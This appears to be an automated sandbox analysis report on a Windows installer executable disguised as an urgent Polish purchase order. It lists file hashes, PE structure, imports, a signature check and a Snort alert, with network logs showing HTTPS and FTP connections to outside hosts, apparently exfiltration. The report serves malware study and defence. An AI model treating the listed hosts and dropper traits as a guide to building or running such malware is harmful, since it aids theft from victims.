                                                                                            Encrypted:false
                                                                                            SSDEEP:12:t4CDqaZnoUJgiCydrkeYRAerAFFLAmLRHGdK5D9DME:t4C9ZoUJyyKbRAecFxfRHGMRtME
                                                                                            MD5:96756F6658DD20BCB387DECC6C2FB720
                                                                                            SHA1:42E06BBF711B5F71D07B965A0654AFF6249B99D6
                                                                                            SHA-256:C15238E9B65995BDADC206340B33E7B7E50EF00031F5B61DF9700BBB5350F635
                                                                                            SHA-512:F64F1B4C96611ADF276F87F242501534DA8D9D2A17A00749A4FE05DE051DA5CAEDF545D39D574BB7E6447CC272C5F9BF2E8B0EE88B277EDDB46D1E263C08FA1B
                                                                                            Malicious:false
                                                                                            Preview:<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><path d="M8 4v11h3V4zm4-3v14h3V1zM4 7v8h3V7zm-4 3v5h3v-5z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;shape-padding:0;isolation:auto;mix-blend-mode:normal" overflow="visible" opacity=".35" color="#000" font-weight="400" font-family="sans-serif" fill="#474747" fill-rule="evenodd"/></svg>

                                                                                            C:\Users\user\Pacifisterne\Automatcafeer\Tubulating\application-x-executable.png

                                                                                            Download File
                                                                                            Process:C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                                                            Category:dropped
                                                                                            Size (bytes):981
                                                                                            Entropy (8bit):7.490445024712213
                                                                                            Encrypted:false
                                                                                            SSDEEP:24:Xtk15wEzJDA4IttcJtoyV+i2FgT17uiW1cWhncisE:XtkHj2t2HoyQxgJY/bsE
                                                                                            MD5:57788EB5F2415CF88CDDF86A995B497F
                                                                                            SHA1:CDF8E6B6E0F823C6A77EA66569B61BE5D760BF96
                                                                                            SHA-256:08F67C366FB7F3371CA2E3B65DA0A4F9AEBD57D18A2990CB7571A8C2ECAD5D41
                                                                                            SHA-512:024EF704154FC9D0DC38679F1C017691A69E5282E58297F018C40C5957C409B74CFE5F70ACB6BF35CDE8631265366F4E987DF80C1D2E57639253D1CE6FCD5B68
                                                                                            Malicious:false
                                                                                            Preview:.PNG........IHDR................a....sBIT....|.d.....pHYs..........+......tEXtSoftware.www.inkscape.org..<.....tEXtTitle.Adwaita Icon Template...?....tEXtAuthor.GNOME Design Team`.v~...RtEXtCopyright.CC Attribution-ShareAlike http://creativecommons.org/licenses/by-sa/4.0/.Tb.....IDAT8...KHTa....w_s.<n3..dY..ZH.hW.ET+.R.....,.ha.hQ...m-J..,.....0(j.0.Ef..L.c53w.w.|-"m|.Y......p....9..0....2.r.{...t..G- ..hU%oU.B26..R.(j../.k.>.....*.(.e..b[nNE#....Q..?......'...Nj.x..h.....!'..Zsu......0p7.....+&..Q.a.;A)..l(.QU^".O.7............m/c..D....@. H..V.P...Qy.uJ.]...S[..z).x..\..G...I6.tn"N.`.YP.PP....0..1...v....f..>N\.o..Z.....r..yw.. ..@.H..1W.....7.2fP0V..&..h.........T...9=.L:..D7...H..........`....39d...z*...[..........8...u.........X..1$..p6.G..`...}'.)..}'o.|.Ttb(-..xAD......D....T>.n..Nw..A...w...!-2....N.....U....Hhq.._$..i.~v.k.!.@b.oH....E&vj.).f.t...8^.{Sy=s1.{.._f./$G...5....x..........@...O[..........`.NB@e.o......t.....V..`U....IEND.B`.

                                                                                            Static File Info

                                                                                            General

                                                                                            File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                                                                                            Entropy (8bit):6.874744026790643
                                                                                            TrID:
                                                                                            • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                            • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                            • DOS Executable Generic (2002/1) 0.02%
                                                                                            • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                            File name:Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe
                                                                                            File size:669600
                                                                                            MD5:17388d36388d280c4e2d724c9ab58002
                                                                                            SHA1:ee660100dfbad59a2796244514bff64c66cd0ca7
                                                                                            SHA256:5f20a33e263b8b8f5388b8e2512d0678312257b8fdf592b8a83aa481076048ca
                                                                                            SHA512:b49d055149f26ce72cd04ecd6fd581523fdeaf7f3234e8b547fa0fedbaf52aae6b408480c4cebdb7359422d9ae7664dcd8a083d99f13d9fbc1692d4914895ce4
                                                                                            SSDEEP:12288:Pkvld8NVtfkug41IDHQ215k5P5x2/dKRy6i5y:PeHiMrQ2HkLI/ki5y
                                                                                            TLSH:40E4F6527059808AE8A738F3685FC07014A02EAD92EDD25E66F67B2645F2313CC5FF9D
                                                                                            File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F.*.....F...G.v.F.*.....F...v...F...@...F.Rich..F.........................PE..L....c.W.................^.........

                                                                                            File Icon

                                                                                            Icon Hash:3319396623190917

                                                                                            Static PE Info

                                                                                            General

                                                                                            Entrypoint:0x4030d9
                                                                                            Entrypoint Section:.text
                                                                                            Digitally signed:true
                                                                                            Imagebase:0x400000
                                                                                            Subsystem:windows gui
                                                                                            Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                            DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                            Time Stamp:0x5795638D [Mon Jul 25 00:55:41 2016 UTC]
                                                                                            TLS Callbacks:
                                                                                            CLR (.Net) Version:
                                                                                            OS Version Major:4
                                                                                            OS Version Minor:0
                                                                                            File Version Major:4
                                                                                            File Version Minor:0
                                                                                            Subsystem Version Major:4
                                                                                            Subsystem Version Minor:0
                                                                                            Import Hash:b78ecf47c0a3e24a6f4af114e2d1f5de

                                                                                            Authenticode Signature

                                                                                            Signature Valid:false
                                                                                            Signature Issuer:CN=Dictatorialism, OU="Innervational Chloropal Stald ", E=Covalency@Bedrveligheds.Sl, O=Dictatorialism, L=Tarrant Rushton, S=England, C=GB
                                                                                            Signature Validation Error:A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
                                                                                            Error Number:-2146762487
                                                                                            Not Before, Not After
                                                                                            • 24/01/2023 08:31:02 23/01/2026 08:31:02
                                                                                            Subject Chain
                                                                                            • CN=Dictatorialism, OU="Innervational Chloropal Stald ", E=Covalency@Bedrveligheds.Sl, O=Dictatorialism, L=Tarrant Rushton, S=England, C=GB
                                                                                            Version:3
                                                                                            Thumbprint MD5:7F1F45BD7FCC95B4458C5EC8BFA17430
                                                                                            Thumbprint SHA-1:31BE90317316BB6D5DBEDE711C3E03BCD2EF533A
                                                                                            Thumbprint SHA-256:801CB0CF2041D9240AC71DE2FCEEC2FA0C23383EF6BEA436ECE5CCF3C1CB066D
                                                                                            Serial:E5205A57DA732B09

                                                                                            Entrypoint Preview

                                                                                            Instruction
                                                                                            sub esp, 00000184h
                                                                                            push ebx
                                                                                            push esi
                                                                                            push edi
                                                                                            xor ebx, ebx
                                                                                            push 00008001h
                                                                                            mov dword ptr [esp+18h], ebx
                                                                                            mov dword ptr [esp+10h], 00409198h
                                                                                            mov dword ptr [esp+20h], ebx
                                                                                            mov byte ptr [esp+14h], 00000020h
                                                                                            call dword ptr [004070A8h]
                                                                                            call dword ptr [004070A4h]
                                                                                            cmp ax, 00000006h
                                                                                            je 00007FD0F0574393h
                                                                                            push ebx
                                                                                            call 00007FD0F0577301h
                                                                                            cmp eax, ebx
                                                                                            je 00007FD0F0574389h
                                                                                            push 00000C00h
                                                                                            call eax
                                                                                            mov esi, 00407298h
                                                                                            push esi
                                                                                            call 00007FD0F057727Dh
                                                                                            push esi
                                                                                            call dword ptr [004070A0h]
                                                                                            lea esi, dword ptr [esi+eax+01h]
                                                                                            cmp byte ptr [esi], bl
                                                                                            jne 00007FD0F057436Dh
                                                                                            push ebp
                                                                                            push 00000009h
                                                                                            call 00007FD0F05772D4h
                                                                                            push 00000007h
                                                                                            call 00007FD0F05772CDh
                                                                                            mov dword ptr [00423704h], eax
                                                                                            call dword ptr [00407044h]
                                                                                            push ebx
                                                                                            call dword ptr [00407288h]
                                                                                            mov dword ptr [004237B8h], eax
                                                                                            push ebx
                                                                                            lea eax, dword ptr [esp+38h]
                                                                                            push 00000160h
                                                                                            push eax
                                                                                            push ebx
                                                                                            push 0041ECC8h
                                                                                            call dword ptr [00407174h]
                                                                                            push 00409188h
                                                                                            push 00422F00h
                                                                                            call 00007FD0F0576EF7h
                                                                                            call dword ptr [0040709Ch]
                                                                                            mov ebp, 00429000h
                                                                                            push eax
                                                                                            push ebp
                                                                                            call 00007FD0F0576EE5h
                                                                                            push ebx
                                                                                            call dword ptr [00407154h]

                                                                                            Rich Headers

                                                                                            Programming Language:
                                                                                            • [EXP] VC++ 6.0 SP5 build 8804

                                                                                            Data Directories

                                                                                            NameVirtual AddressVirtual Size Is in Section
                                                                                            IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_IMPORT0x74280xa0.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_RESOURCE0x3e0000x5aec8.rsrc
                                                                                            IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_SECURITY0xa30780x728
                                                                                            IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_IAT0x70000x298.rdata
                                                                                            IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                            IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                            Sections

                                                                                            NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                            .text0x10000x5c5b0x5e00False0.6603640292553191data6.411456379497882IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                            .rdata0x70000x12460x1400False0.42734375data5.005029341587408IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                            .data0x90000x1a7f80x400False0.6376953125data5.108396988130901IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                            .ndata0x240000x1a0000x0False0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                            .rsrc0x3e0000x5aec80x5b000False0.23903245192307693data5.402063687419607IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                            Resources

                                                                                            NameRVASizeTypeLanguageCountry
                                                                                            RT_ICON0x3e2b00x42028Device independent bitmap graphic, 256 x 512 x 32, image size 270336EnglishUnited States
                                                                                            RT_ICON0x802d80x10828Device independent bitmap graphic, 128 x 256 x 32, image size 67584EnglishUnited States
                                                                                            RT_ICON0x90b000x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16896EnglishUnited States
                                                                                            RT_ICON0x94d280x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishUnited States
                                                                                            RT_ICON0x972d00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States
                                                                                            RT_ICON0x983780x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States
                                                                                            RT_DIALOG0x987e00x100dataEnglishUnited States
                                                                                            RT_DIALOG0x988e00x11cdataEnglishUnited States
                                                                                            RT_DIALOG0x98a000xc4dataEnglishUnited States
                                                                                            RT_DIALOG0x98ac80x60dataEnglishUnited States
                                                                                            RT_GROUP_ICON0x98b280x5adataEnglishUnited States
                                                                                            RT_MANIFEST0x98b880x33dXML 1.0 document, ASCII text, with very long lines (829), with no line terminatorsEnglishUnited States

                                                                                            Imports

                                                                                            DLLImport
                                                                                            KERNEL32.dllSetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
                                                                                            USER32.dllScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
                                                                                            GDI32.dllSelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
                                                                                            SHELL32.dllSHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
                                                                                            ADVAPI32.dllRegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
                                                                                            COMCTL32.dllImageList_Create, ImageList_AddMasked, ImageList_Destroy
                                                                                            ole32.dllOleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

                                                                                            Possible Origin

                                                                                            Language of compilation systemCountry where language is spokenMap
                                                                                            EnglishUnited States

                                                                                            Network Behavior

                                                                                            Snort IDS Alerts

                                                                                            TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                            192.168.11.201.1.1.162662532012811 01/25/23-10:05:53.440564UDP2012811ET DNS Query to a .tk domain - Likely Hostile6266253192.168.11.201.1.1.1

                                                                                            Network Port Distribution

                                                                                            TCP Packets

                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                            Jan 25, 2023 10:05:53.488614082 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.488699913 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.488890886 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.512908936 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.512933016 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.603182077 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.603401899 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.603403091 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.668005943 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.668132067 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.669401884 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.669529915 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.672966003 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.703051090 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.703202009 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.703241110 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.703285933 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.703427076 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.703427076 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.703615904 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.703670025 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.703811884 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.730830908 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.731036901 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.731096029 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.731388092 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.731636047 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.732014894 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.732270002 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.758853912 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.759023905 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.759076118 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.759320021 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.759550095 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.759677887 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.760009050 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.760193110 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.760359049 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.760612965 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.760756016 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.760756969 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.760803938 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.760978937 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.761365891 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.761513948 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.761663914 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.761987925 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.762150049 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.762339115 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.786912918 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.787070036 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.787070036 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.787122011 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.787266016 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.787298918 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.787324905 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.787400961 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.787627935 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.787872076 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.788034916 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.788208008 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.788492918 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.788688898 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.788688898 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.788688898 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.788923979 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.789186954 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.789427996 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.789825916 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.790074110 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.790489912 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.790689945 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.790795088 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.791296005 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.791497946 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.791498899 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.791498899 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.791498899 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.791548967 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.791804075 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.791992903 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.791992903 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.792074919 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.792359114 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.792556047 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.793034077 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.793232918 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.793303967 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.793375969 CET44349854103.83.194.19192.168.11.20
                                                                                            Jan 25, 2023 10:05:53.793502092 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.793502092 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.793682098 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.793682098 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:53.793682098 CET49854443192.168.11.20103.83.194.19
                                                                                            Jan 25, 2023 10:05:55.709336042 CET49855443192.168.11.2064.185.227.155
                                                                                            Jan 25, 2023 10:05:55.709491968 CET4434985564.185.227.155192.168.11.20
                                                                                            Jan 25, 2023 10:05:55.709748030 CET49855443192.168.11.2064.185.227.155
                                                                                            Jan 25, 2023 10:05:55.712908030 CET49855443192.168.11.2064.185.227.155
                                                                                            Jan 25, 2023 10:05:55.712990046 CET4434985564.185.227.155192.168.11.20
                                                                                            Jan 25, 2023 10:05:56.024872065 CET4434985564.185.227.155192.168.11.20
                                                                                            Jan 25, 2023 10:05:56.025166988 CET49855443192.168.11.2064.185.227.155
                                                                                            Jan 25, 2023 10:05:56.026778936 CET49855443192.168.11.2064.185.227.155
                                                                                            Jan 25, 2023 10:05:56.026802063 CET4434985564.185.227.155192.168.11.20
                                                                                            Jan 25, 2023 10:05:56.027362108 CET4434985564.185.227.155192.168.11.20
                                                                                            Jan 25, 2023 10:05:56.030539036 CET49855443192.168.11.2064.185.227.155
                                                                                            Jan 25, 2023 10:05:56.072312117 CET4434985564.185.227.155192.168.11.20
                                                                                            Jan 25, 2023 10:05:56.221379995 CET4434985564.185.227.155192.168.11.20
                                                                                            Jan 25, 2023 10:05:56.221448898 CET4434985564.185.227.155192.168.11.20
                                                                                            Jan 25, 2023 10:05:56.221601963 CET49855443192.168.11.2064.185.227.155
                                                                                            Jan 25, 2023 10:05:56.223792076 CET49855443192.168.11.2064.185.227.155
                                                                                            Jan 25, 2023 10:05:59.860826015 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:05:59.975033045 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:05:59.975229025 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:00.092856884 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:00.095689058 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:00.209718943 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:00.209908962 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:00.210305929 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:00.364748001 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:02.374598980 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:02.375200987 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:02.489794970 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:02.489878893 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:02.490302086 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:02.605287075 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:02.605855942 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:02.720877886 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:02.721354008 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:02.836556911 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:02.838112116 CET4985739706192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:02.883348942 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:02.952662945 CET3970649857192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:02.952820063 CET4985739706192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:02.952943087 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:03.068484068 CET2149856192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:03.068994999 CET4985739706192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:03.117685080 CET4985621192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:03.184087038 CET3970649857192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:03.184181929 CET3970649857192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:03.184232950 CET3970649857192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:03.184277058 CET3970649857192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:03.184345961 CET4985739706192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:03.184483051 CET4985739706192.168.11.20192.185.87.146
                                                                                            Jan 25, 2023 10:06:03.299850941 CET3970649857192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:03.299931049 CET3970649857192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:03.299984932 CET3970649857192.185.87.146192.168.11.20
                                                                                            Jan 25, 2023 10:06:03.300081968 CET2149856192.185.87.146192.168.11.20
